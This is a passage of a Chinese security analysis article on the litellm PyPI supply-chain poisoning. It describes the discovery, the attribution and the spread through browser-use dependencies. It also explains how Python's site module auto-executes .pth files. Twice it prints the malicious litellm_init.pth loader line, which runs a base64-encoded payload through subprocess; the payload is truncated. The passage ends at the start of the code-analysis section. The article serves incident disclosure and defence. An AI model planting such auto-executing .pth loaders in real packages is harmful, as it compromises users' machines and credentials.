恶意代码中的bug导致攻击露出马脚</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此次投毒事件最早由 FutureSearch 发现并上报 PyPI，随后相关恶意版本被迅速下架，整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1]，而此次攻击的暴露，恰恰源于攻击者代码中的一个逻辑缺陷。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="image-20260325161740054" class="rich_pages wxw-img" data-ratio="0.38705234159779617" data-type="png" data-w="726" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005430" src="https://wechat2rss.xlab.app/img-proxy/?k=a697b874&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvJiaydwbCRKHLlhIqDXQhyPRAriccQ4mibMKkoVNV0DoLhIuqouRzNYIsibJsKKs7qR08BzXVN26zNZ3c11rB5omsuJCEdGicFmTV0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意代码被植入在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件中。由于 Python 在启动时会自动执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件中的代码，攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload，而子进程再次触发 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 执行，形成类似“分支炸弹”的效果，迅速耗尽系统资源，从而引起研究人员注意。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一次本可长期潜伏的供应链攻击，也因此被意外暴露并及时阻断。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">import</span> os, subprocess, sys; subprocess.<span class="code-snippet__title">Popen</span>([sys.<span class="code-snippet__property">executable</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, <span class="code-snippet__string">&#34;import base64; exec(base64.b64decode(&#39;aW1wb3J0IHN....&#39;))&#34;</span>],stdout=subprocess.<span class="code-snippet__property">DEVNULL</span>, stderr=subprocess.<span class="code-snippet__property">DEVNULL</span>)</span></code></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;">1.3 AI供应链安全的脆弱性</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据 Snyk 的分析报告[2]，此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy，获取了维护者的 PyPI 发布凭证，并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此次事件导致大量敏感凭据被窃取，受影响用户需要立即吊销并替换相关密钥，以避免后续风险扩散。</span></p><p nodeleaf=""><img alt="image-20260325172949830" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005445" data-ratio="0.762962962962963" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;zoom: 0.5;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4345732f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMduxEgWic3CKyNibMfy91UuqUeiaov1booHKA1oXlAnH8VX45bxbVxszkAvbS5iaPZ2Nj0HJPicl6ZrsfmibJtOiatSnGtkpWx5tjGeqoU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="image-20260325173411059" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005444" data-ratio="1.1283783783783783" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="592" src="https://wechat2rss.xlab.app/img-proxy/?k=1ffee0ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsjRBfeVMYjT8sZahibEfNxc89C6AWbalWZdvaPXuzmtWPngHtu0kic1AuKkmzYjfx7kXooTwhicYEl846uaUO7JJzS0G5zef5Tdk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如，当前流行的 MCP 工具 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">browser-use</span></code><span leaf=""> 在 GitHub 上拥有超过 8 万 Star，其依赖链中包含 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm</span></code><span leaf="">。在攻击窗口期内使用该工具，可能直接导致用户被攻击。此外，</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">browser-use</span></code><span leaf=""> 官方推荐使用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">uvx</span></code><span leaf=""> 启动 MCP 服务，而 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">uvx</span></code><span leaf=""> 每次执行都会重新拉取依赖，这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="image-20260325175119199" class="rich_pages wxw-img" data-ratio="0.19814814814814816" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005441" src="https://wechat2rss.xlab.app/img-proxy/?k=3019b877&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsOKTSVSib4N8K7GeMwiaicYACZ6MjibBekKM3yLMzWGccdR94gMGXDXCcpm8Bicg3ko6KLn9K82huWBlnndhGvQXpffmzkXbnbfhAE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. 攻击原理解析</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">2.1 攻击复现</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm-1.82.8</span></code><span leaf=""> 通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件加载恶意载荷，使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如下：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="realize" class="rich_pages wxw-img" data-ratio="0.37592592592592594" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005442" src="https://wechat2rss.xlab.app/img-proxy/?k=e04031b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdsvEQWGf9YZyWd81xkibia2VJwACFhErQoXl6zJYI96SVRwR9qPBu0PFHraFzGuc5B75s92icM5NiaMG6gcjNNBUQPHD57kqOhSmSE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过分析其 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pyproject.toml</span></code><span leaf="">，可以发现 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code><span leaf=""> 被显式打包，在用户安装后会被放置到 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site-packages</span></code><span leaf=""> 目录中。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="realize" class="rich_pages wxw-img" data-ratio="0.21203703703703702" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005443" src="https://wechat2rss.xlab.app/img-proxy/?k=e683757f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdv1jB6jN0KctfEAxMCEokATjIXXdgOn2egk4oj3vJyj0qoyNKicVP4n0SOYGBHgKAjR1jUQ2t8YUfgrMhGeSTxspPpLdq0ibLL14%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pyproject.toml</span></code></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="realize" class="rich_pages wxw-img" data-ratio="0.3603431839847474" data-type="png" data-w="1049" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005446" src="https://wechat2rss.xlab.app/img-proxy/?k=8531e5f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMducKc0xflHkyzNleTn3by118nguicJWM7ptTzT04ficG7GUeNM4g53cIx4pQZgOopjicjCNeWiar1u6QKONrASd65QUSS9S0yDaUSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">2.2 原理解析</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过分析 CPython 源码可以发现，Python 在启动时会自动加载 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site</span></code><span leaf=""> 模块，该模块负责初始化运行环境并加载 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site-packages</span></code><span leaf=""> 目录。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="site" class="rich_pages wxw-img" data-ratio="0.5051334702258727" data-type="png" data-w="974" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005447" src="https://wechat2rss.xlab.app/img-proxy/?k=ab9b901f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdts42sbJNxFjibwXnNm7ZfyA2l0SoDpzz4mcoajy5WIq0Kr7AeRALqpfLSHGRrByMVFLohTM1Nlcro3SjSrTgiaR9ibA91eLfocIU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进一步分析 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site.py</span></code><span leaf=""> 可知，其会扫描并执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">site-packages</span></code><span leaf=""> 目录下所有 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件中的 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">import</span></code><span leaf=""> 语句。因此，攻击者无需任何用户交互，即可在安装完成后自动触发恶意代码执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="site" class="rich_pages wxw-img" data-ratio="0.5712962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005448" src="https://wechat2rss.xlab.app/img-proxy/?k=44870d4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsSoVTsXWtvYu1ayMMgYy1DEq3gEn5FNMogrNqUGhIxHDxgaQD9xV0aykUOOHDCvnNgLcvxwWBqlnIXgJ6BahDf5WxRicWNcibias%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">import</span> os, subprocess, sys; subprocess.<span class="code-snippet__title">Popen</span>([sys.<span class="code-snippet__property">executable</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, <span class="code-snippet__string">&#34;import base64; exec(base64.b64decode(&#39;aW1wb3J0IHN....&#39;))&#34;</span>], stdout=subprocess.<span class="code-snippet__property">DEVNULL</span>, stderr=subprocess.<span class="code-snippet__property">DEVNULL</span>)</span></code></pre></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">3. 攻击代码解析</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 